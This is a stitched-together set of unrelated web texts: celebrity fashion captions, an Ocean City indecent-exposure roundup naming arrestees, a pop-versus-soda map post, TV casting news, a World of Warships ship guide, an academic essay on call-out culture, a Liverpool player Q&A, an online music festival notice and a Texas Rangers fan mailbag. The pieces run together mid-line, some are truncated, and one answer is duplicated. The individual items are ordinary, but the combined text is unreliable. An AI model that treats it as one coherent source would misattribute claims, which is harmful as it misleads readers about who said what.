Chic exit: Rihanna continued to get jaws dropping as she emerged from the slick venue, looking absolutely stunning in her ensemble
Contrasting styles: The singer cut a ravishing figure in her strappy, spiky shoes, and even managed to look graceful when swaddled in an oversized black coat
Making a statement: Bey looked better than ever as she posed outside on the street
Her cup almost runneth over! The superstar singer showed how to gracefully climb out of a taxi... but risked a chest-related wardrobe malfunction in the process
'I want people to feel like it’s OK to create and follow their dreams are and not feel boxed in – I want people to feel that awesome is possible,' his voice echoed out through the space.
'There’s a lack of creativity in every field because people are afraid. As an artist in this room, we can do whatever we want.'
The music during the show was a brand new Kanye track Wolves - which also features singer Sia and rapper Vic Mensa - which got the likes of Beyonce and Jay Z dancing in the front row, as well as Bieber, Big Sean and Khloe.
After the show, the celebrity guests were seen departing in style as they made their way on to their next event.
And Kim, in her revealing high-end and unusual ensemble, flashed her famous backside as she left after her husband's show, which received mostly positive reviews.
No camouflage jacket: A model wore a similar outfit to the one Kanye designed for wife Kim
Unique look: Kanye's collection had unique look to it
Long coat: A model wore a long camouflage jacket that was part of Kanye's collection
What a way to open: Kanye's show was held on the first day of New York Fashion Week, and saw 50 models clad in his designer wares in a large industrial space
Unique designs: Kylie Jenner watched on as models clad in pink, red and brown tones strutted past
Cover star: Wintour made the controversial decision of putting Kim and Kanye on the cover of US Vogue last year under the hash tag headline #worldsmosttalkedaboutcouple19555 Views
This past week, Ocean City Police had their hands full with cases of indecent exposure as people somehow became convinced that the world was their bathroom.
Ocean City can be a wonderful place during the summertime. Visitors of all walks of life descend on the small ocean town for fun in the sun with family and friends.
There are a lot of things that we usually assume should go without saying. Don’t get drunk at a bar and start pointing a gun at people, for example.
Well, sometimes there are just common sense things that need to be said anyway.
Stop exposing yourself and peeing in public. Just… stop. You are never more than a hundred yards away from a bathroom in Ocean City or you can just wade into the water and pee there, like a normal tourist. Please, don’t expose yourself and pee in public. [End Public Service Announcement]
Unfortunately, some people can’t grasp that fundamental part of living in a civilized society and they all seem to want to visit Ocean City…
Very Indecent Exposure
Police were called to the CVS at 120th Street after multiple concerned citizens called 911 to report a naked man. Upon arrival, police did in fact find… a half-naked man. Police discovered Patrick Lehman, age 20, of Wilkes-Barre, Pennsylvania, standing in front of a car wearing nothing but a jersey. Officers report that Lehman’s genitals were clearly exposed. Not surprisingly, he exhibited clear signs of intoxication.
One witness described how the “encounter” originally went down. The intoxicated man stopped in front of her car. With children in the vehicle, Lehman allegedly removed his basketball jersey and struck a pose in front of the car, naked as the day he was born. Police arrested Patrick Lehman on the spot for indecent exposure.
Another witness later approached police and testified that he first came across the naked man on the beach. Afraid for his family, he was forced to evacuate them from the beach.
Again, this should go without saying, please don’t expose your genitalia to children.
While Patrick Lehman may take the gold for the grossest Ocean City crimes of the week, a few other people tried to give him a run for his money.
Bus Stop? More Like Piss Stop.
Police were called to the 71st Street Municipal Bus Stop after calls came in about a man exposing him self and urinating on the sidewalk. Officers arrived at the scene to find a man named Jake Perry, age 25, of Thorofare, New Jersey, matching the description in the 911 calls.
Upon the officers’ arrival, they spoke with two Public Safety Aides who described what happen. They told officers that they stumbled upon Perry laying on the ground. Perry quickly stood up, exposed his member to them, and began urinating on the concrete path. Witnesses told police that Perry not only exposed himself to them, but also to vehicular traffic passing by.
Based upon this information, Ocean City Police arrested Jake Perry on charges of indecent exposure.
One more time: Please, if you are going to visit Ocean City, don’t expose yourself and pee on our bus stops.
One Beachgoer’s Ballsy Strategy
The beach can be a wonderful place. Crowded at times, but still fun. When the sun goes down, most people pack up their belongings and head home. Not Jason Derman.
The 45-year-old man from Baltimore was discovered on the beach at 1st Street by a Worcester County Sheriff’s deputy on ATV patrol. Allegedly, after the deputy came upon the man, he turned towards the ATV, pulled down his bathing suit, exposed his genitals, and began to urinate on the beach.
The police report details that Derman made no effort to shield his crotch from passersby. Witnesses told officers they feared the man was disturbed and deliberately kept their distance from him. Police arrested Jason Derman on the spot on charges of indecent exposure.
Many families make their yearly pilgrimage to Ocean City during the summertime. Why? Because there are attractions and things to do for people of all ages. But we all can agree that there is absolutely nothing attractive about piss-drunk tourists getting naked and exposing themselves in public.
So, what is the morale of these stories? While it may be legal to go topless on the Ocean City beach, but please, for the love of God, don’t try to go bottomless…
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(Updated May 19, 2013)
It’s hard to imagine anyone spending much time browsing the Internet without coming across the colorful coke-pop-soda map, the one showing the preferred term for a carbonated drink in each U.S. county. I did a post on it myself about two years ago and then as now wondered what some of the “other” answers were. If people didn’t say coke, pop, or soda, what did they say?
Today I stumbled across a page that has compiled and is still compiling those answers (including some from Canada). “The Great Pop vs. Soda Controversy” was created by Alan McConchie, who apparently was as curious about all those “other” answers as I was. He is still collecting information* on the site if you want to add your two cents’ worth. In addition, his version of the map I’ve shown here is clickable, with stats from each county.
“Pop” or “soft drink,” is what I usually say (I was raised in Oklahoma City), and “soft drink” is the #1 “other” answer. Rounding out the top five are 2. tonic, 3. soda pop, 4. drink, and 5. tarzan slam.
Never in my life, at least not in the parts I remember, have I heard of a tarzan slam.
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*On May 19, 2013, the site was not available on Google. A cached copy of the survey’s results was still available.
Categories: Culture, languageActor Jon Hamm is exorcising his Don Draper angst by taking a yet-as-unnamed role in the second season of David Cross's IFC comedy series, The Increasingly Poor Decisions of Todd Margaret.
According to Splitsider, Hamm has signed up for five of the six sophomore season episodes. Appealing to fans of absurdist, quirky comedy, Todd Margaret isn’t a huge hit for IFC but the pedigree of the show has wooed some high-caliber talent like funny man Will Arnett, who has also signed on for an undisclosed number of episodes.
The first season of The Increasingly Poor Decisions of Todd Margaret showcased Todd’s zanily rapid transition from an anonymous temp in an American office to leading a London office for the new (and potentially radioactive) energy drink, Thunder Muscle. Cross’ frequent collaborator Arnett plays an obnoxious and clueless company executive while Cross himself is equal parts con man and bungling fool.
The cast is rounded out by Blake Harrison, who plays the London office employee who insatiably eggs on Margaret’s disastrous ploys and Amber Tamblyn as the woman Todd thought he was dating when he left the United States.
Season Two will debut in January on IFC.
Video: The Increasingly Poor Decisions of Todd Margaret
Check out a clip from Season One's "Parliament":In your second slot, I strongly recommend Aiming Systems Modification 1. This takes the aforementioned stats and drops them even further.
In your final slot, I highly recommend Propulsion System Modification 2. You’re going to be sitting in your smoke often enough that it’s handy to give yourself a head start when you need to get moving once again.
In slot three, take whatever you like. I prefer Damage Control System Modification 1 but it’s really up to you. The gains are minimal for any of the upgrades for this entry.
Firepower Primary Battery: Five140mm rifles in single turrets in an A-P-Q-X-Y configuration. Torpedo Armament: Six tubes in 2×3 center line launchers mounted on either side of the funnels Iwaki Alpha gets the same torpedo armament as Furutaka but a full tier lower. These fish are phenomenal and what’s more, the platform on which they’re launched has a big trick up it’s sleeve. An Iwaki Commander with Concealment Expert can get her surface detection down to 8.6km, giving her a 1.4km stealth launching window with her torpedoes. The general lack of spotting aircraft means that these torpedoes are unlikely to be detected until they close with their prey. While they are visible at 1.5km, opponents at low tiers are often unaware anti-torpedo tactics and attempt to dodge at the very last minute.
The only flaw with Iwaki as a torpedo ship are the horrible forward fire arcs of her launchers. This is limited to a little over a 45º arc approximately 80º off her beam with a rearward bias. Veterans of the IJN Heavy Cruiser line will be familiar with this kind of limitation. Like with all IJN Cruisers, swinging the ship around to let loose a broadside of torpedoes will often just get your ship blown out from under you if you attempt it against a wary opponent while spotted. Such attempts are an easy telegraph of the coming torpedo attack and any veterans slumming it down at tier IV will have their eyes open for such an opportunity.
When these torpedoes do hit, they hit hard and with one of the largest module-damaging explosions at her tier (only rivaled by Battleship caliber HE — though these do not have as much penetration power). This puts every ship they strike at tremendous risk of not only sinking from multiple hits, but single hits are quite capable of one-shotting even a Battleship with a magazine detonation. The torpedo defense of lower tiered dreadnoughts just isn’t up to scratch and these catastrophic hits are far more commonplace at this tier with ships like Iwaki being one of the culprits.
Iwaki is armed with an unimpressive number (5) of unimpressive guns (the IJN 140mm rifle) with unimpressive range (10.2km). It’s made worse that you’re only ever bringing four guns to bear. These are the same weapons on Tenryu and Kuma. Overall, they have rather lousy ballistics, low shell damage and very bad penetration values. What you’re left with is a cruiser that really struggles when facing other capital ships. This armament is more than sufficient to bully destroyers but they are not up to scratch to let you go toe to toe with other cruisers, even when she’s top tier.
The best feature these guns can boast is a very high fire chance — base 10% per shell. Battleships will learn to hate and fear you, especially when you bombard them from smoke and set them ablaze from stem to stern.
There is a ray of sunshine, though. Thanks to her module options, namely Aiming Systems Modification 0 and Aiming Systems Modification 1, Iwaki can have the lowest horizontal dispersion value found on any capital ship in the game. Aim properly and you’ll hit your target almost every time — it’s really quite nice. This can (generally) make up for the lower number of guns she sports, particularly when you get the drop on an enemy ship. However, once they find the range to you, short of some epic butt wiggling or hiding in smoke, they will out trade you every time.
The Lertbox Duguay-Trouin vs Iwaki: The Frenchman has an advantage in hit points and firepower, but most other categories go to the Iwaki. The Japanese ship has better speed, accuracy, armor, stealth, torpedoes and agility, not to mention her smoke. However, you have a very comfortable five kilometer buffer where you can hit her while she can’t hit you back. The problem is that you won’t be able to see her without someone else spotting her until it’s too late and she’s in range. Once you have her spotted though, keep your angles in mind and make your overwhelming firepower count to try and delete her as quickly as you can. Aim for center mass shots, but keep your angles in mind because you’re softer than your opponent and her 140mm guns will hurt you badly if you show just a bit too much broadside. Once you’ve smacked her around a bit she’s very likely to smoke up and send a surprise package of seafood your way, so be ready to pop your hydro acoustic and push into her smoke to bully her with your firepower. You might try using your torpedoes, but the fast and maneuverable Iwaki is difficult to hit with such slow fish. Manoeuvrability Top Speed: 35.0knots
Turning Radius: 580m
Rudder Shift: 3.8s Maximum Turn Rate: 7.26º per second. Iwaki is a cruiser with destroyer levels of agility. This probably makes some sense as a destroyer leader, and it’s not like this agility is misplaced. Without it (and her Smoke Generator), she’d be a victim waiting to happen. Her most impressive feature, by far, is her amazing top speed. She caps out at 35.0 knots which is nearly the fastest ship at her tier, with only the German V-170 being half a knot faster. This allows Iwaki to run down and pursue any prey worth chasing while also being able to open up the distance on anything bigger than her short of a Phoenix-class cruiser. Iwaki has an excellent rate of turn at 7.3º per second that’s almost fast enough to out traverse her turrets. Aiming Systems Modification 0 makes this a non-issue as it greatly improves her gun handling — as if you needed more excuses to equip this. To put her rate of turn into perspective, USS Clemson, the tier 4 American Destroyer has a maximum rate of turn of 8.6º per second which doesn’t place Iwaki Alpha that far behind. So not only as she as fast (or faster) than many of the destroyers she faces, she can also evade just as effectively. Were it not for her larger size, she’d be an absolute nightmare for enemy ships to try and hit with guns, bombs, or torpedoes. Durability
Hit Points: 18,600
Maximum Protection: 63mm Min Bow & Deck Armour: 10mm
Iwaki Alpha is a ship that allows for very little margin of error. Generally, it only takes two mistakes to get this ship sent back to the port.
The first mistake is letting something shoot at you. The second is letting something hit you with said attacks. Iwaki Alpha is one big floating citadel. She has enough armour to arm the fuses of any AP shells that strike her amidships and not enough armour to repulse anything bigger than destroyer-caliber. Combine this with the painfully short ranges of low tier maps and you’ve a recipe for disaster. Iwaki melts under fire. Battleships will one shot you. Cruisers can one shot you with a well placed volley. Destroyers will destroy you in as little as two hits of their torpedoes. The good news is that in low tier matches, it’s rare you’ll encounter anyone that knows how to properly use their AP shells, never mind aim effectively. And that AP/HE disparity at low tiers would be great except Iwaki’s powder magazines lie completely outside of her citadel. These are largely unprotected, with no more than 10mm of armour. While this will be too little to arm the fuses of most AP shells, this does leave them open and exposed to high explosive fire, particularly from 305mm battleship caliber shells, bombs and torpedoes so prevalent at lower tiers. Detonations in this vessel are, for a cruiser, quite commonplace, and shouldn’t be unexpected. Sadly, Aiming Systems Modification 0 provides no protection from magazine explosions, so brace yourself for experiencing the occasional bout of fun and engaging fireworks displays at the expense of your ship. So this makes for a fun bit of irony. While Iwaki would succumb very quickly to AP fire, the inexperience of your opponents may just get you detonated dramatically instead through the use of derpy HE fire. Ah, justice never tasted so sweet.
The Lertbox Phoenix vs Iwaki: You are the bully in this engagement. Bigger guns and more of them, better range, more hit points, better armor, the same speed and Hydro-acoustic to warn you of incoming torpedoes and ferret your opponent out of smoke should she smoke up. When faced with a Phoenix a savvy Iwaki driver might simply choose not to engage, knowing you have the advantage in a direct slug fest. Iwaki doesn’t have the speed to close to engagement range, so as long as you keep your distance you should be able to bludgeon her without fear of reprisal. Should she smoke up, close the distance and push in. Use your hydro acoustic consumable to give you an early warning of incoming torpedoes, and simply devastate her with your far superior guns. Of all the tier four cruisers, Phoenix is perhaps the most well equipped to take out an enterprising Iwaki, and a smart Iwaki driver will avoid a direct confrontation. Unfortunately for you, any Iwaki you will encounter will be driven by someone with 2+ years of experience.
That’s a whole lot of ‘nope’. Iwaki will surprise your opponents with how agile she is, but this will only last for so long.Call-out culture, a mode of confronting actual or perceived injustices through strident acts of public censure, usually via social media, takes on a curious patina in the supposedly more civil world of academe. In 2010, I co-founded a feminist blog with a group of friends, who were academics and activists. In 2011, we issued a series of call-outs to the burgeoning SlutWalk Movement — whose marchers protested rape culture and victim-blaming — for its faulty and limited racial analysis. A consensus among feminist bloggers of color seemed to emerge about SlutWalk’s racism, and the movement lost critical momentum. Pressing "publish" on a blog post had begun to give ordinary dissenters a power they never had before.
There is both pleasure and peril in having that kind of power. The immediate pleasure of call-outs comes in the form of catharsis and clicks. The peril comes when we rob ourselves of tools — better analysis and robust forms of protest — that can help us to respond to structural forms of injustice.
Catharsis, the ability to express the rage and pain that we are often called to internalize and forget, matters in a world where the stakes of violent discourse toward people of color; queer, trans, and gender nonbinary folks; and women are ever clearer. But our ability to talk back has created a crisis of knowledge production for academics who are used to occupying the space of "the expert" largely without challenge. Academe is not built for the kind of immediate and forceful resistance that social and digital media tools have provided to communities more used to being theorized about than having the opportunity to do the theorizing.
It is identity politics that makes white scholars believe that their whiteness does not play a role in the kinds of scholarly questions they ask.
This past spring, Rebecca Tuvel, an assistant professor of philosophy at Rhodes College, published an article in the prestigious philosophy journal Hypatia examining the identity claims of Rachel Dolezal, a white woman who identified herself as black. Tuvel’s article took on a controversial topic and might have, if argued differently, offered us better analytic tools for thinking about race- and gender-identity debates. Instead, she argued that transracialism can be fruitfully compared with transgenderism, and that it constitutes a legitimate racial-identity position. Other feminist academics, including both white women and women of color, immediately took to social media and decried this work as transphobic and racially insensitive. Tuvel received severe criticism and experienced harassment and name-calling both publicly and privately.
Both Tuvel and the editors of Hypatia were encouraged to apologize for her piece and to retract it. In an essay defending Tuvel, who was her doctoral student at Vanderbilt University, Kelly Oliver argued that "the feeding frenzy... couldn’t have happened without social media," and that "the viciousness of the attacks was fueled by the mob mentality of Facebook." Dissenters, she argued, were "afraid to voice their opinions in public." More recently, Oliver has written that she herself now fears "being subject to public shaming on social media, and receiving private hate mail." As a regular recipient of hateful email, voicemail, and snail mail anytime I write publicly against white supremacy or patriarchy, I understand her trepidation.
But there is a qualitative difference between being the recipient of outrage because you are fighting the good fight and having to deal with the outrage of marginalized people who see your rhetoric as harmful and divisive. When one is ducking discursive daggers, perhaps those distinctions seem difficult and beside the point. But our ability to attend to the subject position of the outraged — to evaluate the messengers, as it were — is critical to our ability to avoid false equivalencies.
In 2014, I voiced a similar set of concerns about the sometimes vicious and vehement kinds of rhetoric that can happen on social media. I argued that the toxicity of debates between and among feminists on Twitter didn’t seem especially helpful to black women, whose expressions of outrage, I feared, made it too easy for white feminists to dismiss them. Then as now, I struggle with how to hold the righteousness and rightfulness of black rage alongside the necessity of working to build social movements and better bodies of scholarship with groups whose uninterrogated access to power and privilege routinely cause harm.
And I, too, worry when the demand to get woke street cred on social media takes the place of the kind of careful thinking that scholars are charged to do. It is important for scholars to ask tough and even sticky questions, even when those questions or concerns rub up against the political demands of the moment.
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But black feminism as an intellectual project has taught me the importance of always being clear about the social location from which I ask questions. For instance, many of those who questioned Tuvel are trans people or people of color: folks directly affected by the kind of scholarship in which she is engaging. What for her may be an interesting theoretical question determines the shape of their lives. That doesn’t mean academics shouldn’t ask theoretical questions. It means we have to remember that scholarship is a form of power precisely because it does shape the material world.
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Those who uncritically assert their academic freedom refuse to consider how they are positioned in existing structures of power. Yes, I am invoking Kimberlé Williams Crenshaw’s concept of intersectionality. It’s important to say that, because Kelly Oliver, Mark Lilla, and others might think that what I am doing is asserting a facile notion of identity politics, about who gets to ask which questions. For instance, Oliver’s resentment is palpable in her defense of Tuvel, when she writes:
Part of the problem with the response to Tuvel’s article is that some seem to feel that they are the only ones who have the legitimate right to talk about certain topics. At best, this is identity politics run amok; at worst it is a turf war. Indeed, it leads to a kind of academic Selfie culture where all we can do is take pictures of ourselves and never consider the lives of others.
The ahistoricism floating around the unarticulated but sharp edges of Oliver’s assertions here boggle the mind. No questions have ever been off-limits for white scholars. In Ibram Kendi’s recent book, Stamped From the Beginning: The Definitive History of Racist Ideas in America (Nation Books, 2016), he tells us that in 1664, Robert Boyle, the father of English chemistry, wrote in Of the Nature of Whiteness and Blackness that "the physics of light... showed that Whiteness was ‘the chiefest color.’ " Boyle claimed that these were objective conclusions, uncolored by his personal opinions. Isaac Newton was influenced by Boyle’s work when he said white light was the standard from which all other colors derived. Boyle’s and Newton’s claims weren’t objective. They were white. It is identity politics that makes white scholars believe that their whiteness does not play a role in the kinds of scholarly questions they ask.
During the height of the Rachel Dolezal debacle, I, too, called for scholars to take up the question of identity logics that undergirded claims of transgender versus transracial identity. I argued that as scholars we must dig in and figure out if perhaps Dolezal had exposed the limitations of thinking about race and gender according to social-constructionist logics. But when I called for this conversation, I made sure to own the potential for harm I might do to my trans siblings, and tried to let them know that I did not ask these questions to delegitimize their existence but rather simply because the integrity of the scholarship on gender demanded that we clarify these kinds of matters. It mattered that I was entering a fraught debate about gender and racial identity as a cisgender black woman. That positionality and the structural harms (and cisgender privilege) associated with it absolutely shaped my concerns about what Rachel Dolezal meant to articulations of black womanhood.
Clearly Tuvel’s white womanhood matters for how she thinks about Rachel Dolezal’s right to invoke racial plasticity: It prevented her from seeing the potential pitfalls of a white woman making the case for another white woman to assert her right to become a black woman. What I know for sure as a dark-brown-skinned black woman is that the dictates of transracialism as Tuvel argues for it are not available to me. If I woke up one day, told people I identified as a white woman, and insisted that I be able to move about the world as one — well, I hope you see the absurdity of such a position.
What those who become fixated on their right to speak really mean is that they don't want to be held responsible for the harms their work might cause.
The lack of self-reflexivity and the uncritical assumption of a supposedly "objective" standpoint in both Tuvel’s article and Oliver’s does indeed feel like white women colonizing the epistemological terrain of black women and then crying copious white-lady tears when black women remain unimpressed by these allegedly rational arguments. This is, to riff on Oliver, what it looks like to pull out your selfie-stick in the public square and snap away while complaining that other people are in the way, mucking up your shot.
Feelings are not facts. Indeed, Oliver makes an important point about the ways that feelings should not trump scholarly analysis: "In a culture that increasingly values raw emotions uncontaminated by scholarly analysis, the uncritical legitimation of feelings as the basis for moral authority becomes a form of political leveling. If unexamined outrage is the new truth, then we are moving dangerously close to a form of reactionary politics that closes down difficult discussions and prevents us from distinguishing between sexism or racism and critical discussions of them." I do not disagree with anything Oliver says here. The thing is: White supremacy, patriarchy, and transphobia are facts, and those of us on the losing end of those systems have every right to feel — to put it colloquially — some type of way about how the material facts of these systems shape our lives.
The black feminist rage that animates many of the responses to the scholarship of white feminists is far from unexamined. In fact, our rage is eloquent, clear, and deeply contextual. Much of that rage is at the ready precisely because the claims of white scholars to expertise and objectivity, even as they simultaneously advance work that does harm to our communities, are neither new nor original.
But this is bigger than the flap over Rebecca Tuvel. Last month, a tour of writers and thinkers called the "Unsafe Space" Tour came to Rutgers, where I work, for a panel titled "Identity Politics: The New Racialism on Campus?" Their pitch for the event read in part: "We believe in free speech, and we want to discuss what role identity politics, and what’s often called a ‘culture of victimhood,’ is playing in the debate about race on campus. From ‘cultural appropriation’ to ‘microaggressions,’ are student activists re-racializing campus life?"
I refused to attend because protecting my blood pressure was paramount. What the organizers failed to see is that campus culture has never not been racialized. Their very framing of the event demonstrates a problem at the core of this debate over academic freedom and freedom of speech: Dominant groups want to engage in harmful discourse without accepting that hurtful speech and shoddy scholarship can have actual victims.
How is it harmful to simply ask these questions? What is wrong, for instance, with an academic journal like Third World Quarterly publishing a piece called "The Case for Colonialism"? Why would thousands of people sign a petition calling for the editors to retract it? Campuses and academic journals should be the space to ask tough questions, shouldn’t they, even if those questions are unpopular? Won’t academic vetting processes weed out bad argumentation?
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Sure, campuses and academic journals should be spaces to have a range of conversations and to have debates about things that matter. Vetting processes, however, don’t always work: The apologetic for colonization was reportedly published despite having been rejected by peer reviewers. Eventually the publisher withdrew the article, after the editor had received death threats. That kind of violent trolling and harassment is absolutely unacceptable.
It is also unacceptable to publish work that defends the right of any nation to violently colonize another group. Trying to make the case for colonialism, given what we know about the genocide of indigenous folks and the multigenerational trauma of the trans-Atlantic slave trade, is harmful. It is not merely a difference of opinion. But this is often how freedom of speech works for white academics — they are given a platform for their ideas, even when it is clear that the ideas don’t meet academic standards. Academics from communities still dealing with the ravages of colonization have every right to be outraged.
We simply must acknowledge that academic inquiry is absolutely capable of doing harm. Whole bodies of scholarship argued that women were a weaker gender, properly subject to the rule of men. The history of Western thought and science is predicated on the argument that African and indigenous peoples are inferior races. None of the questions that researchers ask issue from value-neutral terrain. And because the American landscape is so deeply tethered to notions that whiteness (and maleness) are neutral, objective, superior, then often the kinds of debates that academics want to have are intrinsically harmful. If there is anything objective that we can say, it is that.
My questions about Rachel Dolezal had the potential to do harm to trans people. Freedom of speech and inquiry does not absolve us of responsibility. Speech is rarely without consequence. But what those who become fixated on their right to speak really mean is that they don’t want to be held responsible for the harms their work might cause. They want to escape accountability.
Thus it becomes easier to recast efforts to hold them accountable as attacks, especially if you aren’t used to hearing the tears and pain of other people.
This, then, is the challenge. Before we have a conversation about civility, ground rules, and freedom of speech, it is incumbent upon all of us to think about the identity positions from which we make certain claims. The embodiment of scholars is central rather than incidental to their scholarship — not a constraint on academic freedom, but a reasonable limit on claims to objectivity and universality. As a black woman whose research is about the black female intellectuals who came before me, I never indulge the fantasy of noninvestment.
That does not mean that scholarly distance doesn’t matter. It does. But scholarly authority does not erase the embodied experiences and social investments of the very researchers who produce this work.
Academic freedom and freedom of speech are never primarily about the rights of people with power. They are always about the rights of people who would be silenced by those with more institutional or structural power. Having powerful white academics claim that marginalized groups — trans people, black people — are impinging on their academic freedom misses the obvious point that those groups rely on freedom of speech to be able to dissent from harmful ideas and to resist their dissemination. These dust-ups in academe are always about who has the power to shape knowledge production. So I must always stand with those who have to fight for the right to be heard.
This doesn’t mean that I don’t wish for more loving and sometimes less combative modes of engagement. Yes, in addition to calling out, we should call in people more. Perhaps sending an email or making a phone call would be more helpful than using an open letter or a fiery blog post as a first line of defense. At the same time, our scholarship is more public than it has ever been, and sometimes this means that accountability for ideas must happen in the public square.
We can agree that name-calling, career threats, and harassment are not the same as accountability. We can exercise more care with each other. But we can’t reserve all our outrage for the fiery reactions of the marginalized and injured while studiously minimizing the provocations of those who throw scholarship and language around like hand grenades.
Brittney Cooper is an associate professor of women’s and gender studies and Africana studies at Rutgers University at New Brunswick, and the author of Beyond Respectability: The Intellectual Thought of Race Women (University of Illinois Press, 2017). Her book Eloquent Rage: A Black Feminist Discovers Her Superpower, will be published in February by St. Martin’s Press.Summer signing Mamadou Sakho has been earmarked as the toughest player to take on at Melwood training sessions, according to aspiring Liverpool forward Jordon Ibe.
The 17-year-old made his senior debut for the Reds in the final match of the 2012-13 campaign before impressing throughout the club's pre-season tour of Indonesia, Australia and Thailand.
In a quirky Q&A published in the official LFC matchday programme, the No.33 reveals the favourite goal of his career so far, why he would never become a referee and how Sakho is a man to avoid in the tackle.
What time is your alarm set for?
8.30am every day. But, to be honest, I don't need an alarm anymore because my body is ready to wake up at that point. I'm always up and about.
What was your childhood nickname?
Just a simple 'Jordy'.
Piece of clothing you've regretted buying?
There haven't been too many. Not too long ago I wore some leather trousers and Jordan Henderson wasn't too impressed. I don't regret buying or wearing them, though.
Subject that you hated at school?
Anything to do with science - chemistry, biology or physics, it didn't matter. I wasn't very good at it.
Who is your best friend in sport?
Two from Wycombe - Anthony Stewart and Charles Dunne. They're both defenders and doing very well. Here, it's Ryan McLaughlin.
Person who makes you laugh?
My step-dad makes me laugh a lot. But here at Liverpool it would be Ryan McLaughlin. He loves a laugh and a joke.
Dining out - starters or |
Fest 2013. The first ever of it’s kind, the virtual festival will take place in a plug.dj room curated by the Pretty Lights Family. If your unfamiliar with plug.dj, it is a website which allows visitors to DJ while others in the room listen, very much similar to turntable.fm. The event is welcome to all, PLF members or not.
“We’ve gotten the PLF plug.DJ room poppin’ a couple times in the past. Despite being completely spontaneous and spur of the moment, it has provided the artists (Artifakts, Vibe Street, B!unt Force) with great exposure and spiced up the nights of music fans who would otherwise just be sitting at home listening to iTunes or Pandora. I believe its a great way for artists to interact with fans in a very casual manner and create a more personal relationship while also spreading the music they pour so much effort into. All of the artists involved with this event were nice enough to respond positively to a new kind of idea like this, and we feel like a full day of promotion is the perfect amount of time to get people aware and excited but not give them a chance to forget about it. Also, we know that this is more exciting than anything else people have going on on a monday night, and if people respond well we hope to do it again – bigger and better – in the future!” – Ben Davis aka Vibe Street on the creation of Vibe Fest 2013
The event begins tonight at 5:00 PM and will last until about 5:00 AM Tuesday morning. Featuring artists such as Krooked Drivers, Archnemesis, Robotic Pirate Monkey, and Artifakts, this is an incredible opportunity to hear some great music from upcoming artists for free and at your own convenience. Fans of Pretty Lights will undoubtably enjoy the similar styles of many of these artists.
Click here to visit Vibe Fest 2013 plug.dj room.
Vibe Fest 2013 Lineup:
Before 8PM – Open DJ booth
8 PM – T. Wilde
9 PM – B!unt Force
10 PM – Krooked Drivers
11 PM – Archnemesis
12 AM – Robotic Pirate Monkey
1 AM – Vibe Street
2 AM – Artifakts (downtempo set)
3 AM and after – Open DJ booth
More on WRR:
Share OnRios, who turns 33 on Feb. 18, proved to be an excellent addition to the Rangers last July, when he was acquired for utility infielder Leury Garcia. He is signed for this year and the Rangers have an option on him for 2015 at $13.5 million, so there is no rush to extend him. At some point, though, the Rangers have to be careful about locking up too many high-priced 30-something players, and they will have to continue to infuse the lineup with good young players. Michael Choice would seem to be next in line, and right field seems to be the right spot.
Alex Rios seems to be the ideal outfielder. He runs down balls, has an above-average arm, can steal bases and is a decent hitter. So why wouldn't the Rangers want to extend his services after 2014? -- Richard W., Dallas
Alex Rios seems to be the ideal outfielder. He runs down balls, has an above-average arm, can steal bases and is a decent hitter. So why wouldn't the Rangers want to extend his services after 2014?
-- Richard W., Dallas
Rios, who turns 33 on Feb. 18, proved to be an excellent addition to the Rangers last July, when he was acquired for utility infielder Leury Garcia. He is signed for this year and the Rangers have an option on him for 2015 at $13.5 million, so there is no rush to extend him. At some point, though, the Rangers have to be careful about locking up too many high-priced 30-something players, and they will have to continue to infuse the lineup with good young players. Michael Choice would seem to be next in line, and right field seems to be the right spot.
Is there a free-agent starting pitcher who would be a good fit for the Rangers and can fill in until Derek Holland is healthy?
-- Herb B., Houston
Most of the guys left on the market are 30-something veterans who have had roller-coaster careers. One guy who seems intriguing is right-hander Tommy Hanson, who had a bad year for the Angels last season while dealing with some physical problems and was non-tendered in December. But he is just 27 and was very good for the Braves in 2009-11. Depending on what the latest scouting reports say, that seems to be the kind of pitcher who might be worth signing to an incentive-laden contract.
Everybody is talking about what the Rangers are going to do with Holland on the disabled list. Why does nobody mention Colby Lewis? He seems to be the forgotten man.
-- Adam B., Kansas City
The Rangers will never forget what Lewis did for them during the World Series years, which is why he is coming to camp on a Minor League contract. But he is 34, he is coming off two major surgeries on his right hip and flexor tendon and hasn't pitched in the big leagues since July 18, 2012. The Rangers are getting good reports on Lewis' rehab work, but it's hard to count on a pitcher his age who has been through so much. If the Rangers were sure Lewis was completely over his physical problems, they wouldn't be looking for starting pitching depth. That's a tough assumption to make.
What's the latest on the Rangers' plan for backup corner infielder? It needs to be a right-handed bat. Jeff Baker, Michael Young and Justin Turner are the only plausible free agents left.
-- Trog B., Waco, Texas
The Rangers certainly could use one more right-handed bat, and it does seem curious they have not re-signed Baker, who is still looking for a job. Here is a theory: the Rangers are putting off signing that coveted right-handed bat until Nelson Cruz signs somewhere. They may be holding out for the possibility of Cruz returning to Texas on a one-year contract.
Why does nobody every pay attention to right-handed reliever Lisalverto Bonilla when they talk about prospects? He has very solid numbers in the Minors, and looks like he is better than a lot of prospects getting recognition.
-- Mark T., Bryan, Texas
The Rangers were certainly paying attention when Bonilla had a 0.30 ERA, a 0.824 WHIP and 14.8 strikeouts per nine innings in 21 games at Double-A Frisco last year. They promoted him to Triple-A Round Rock, where he had a 7.95 ERA and a 1.76 WHIP in 26 games. Bonilla still has some impressive career Minor League numbers, including 10.1 strikeouts per nine innings. He and Wilmer Font could end up being the pitchers that bounce back and forth from Triple-A all year, depending on the need at the Major League level.
Do the Rangers have any long-term plans for Rougned Odor, who is supposed to be a great prospect but appears blocked by the infielders at the Major League level? Is he a player who will be used in a July trade?
-- Harry L., Atlantic City, N.J.
Odor could end up being the Rangers' future starting second baseman. The Rangers are going to give Jurickson Profar every chance to win the job this season, and the team has high expectations for him. But Odor is right behind him if Profar isn't as good as the Rangers expect.
It seems as though all plans assume catcher Jorge Alfaro will be with the big league team in three years or less and be an instant starter/contributor. That could be a dangerous assumption; what makes Alfaro different?
-- Greg H., Amarillo, Texas
It is always dangerous to assume any player is a "can't-miss" prospect. About three to four years ago, the Rangers went on a binge as far as investing in young catchers, drafting Kellin Deglan in the first round and signing Alfaro, Tomas Telis and Jose Felix as highly regarded amateur free agents out of Latin America. Alfaro has emerged as the most talented and most successful of that group, so the Rangers have reasonably high hopes for him. But they have drafted a catcher in the top five rounds in each of the last two Drafts, plus they converted first baseman Brett Nicholas back to being a catcher. So they are not assuming anything, which is why they have stockpiled so many middle infielders as well.
Who is the non-roster player invited to Spring Training with the best chance to make some kind of an impact?
-- Sonny S., Mesquite, Texas
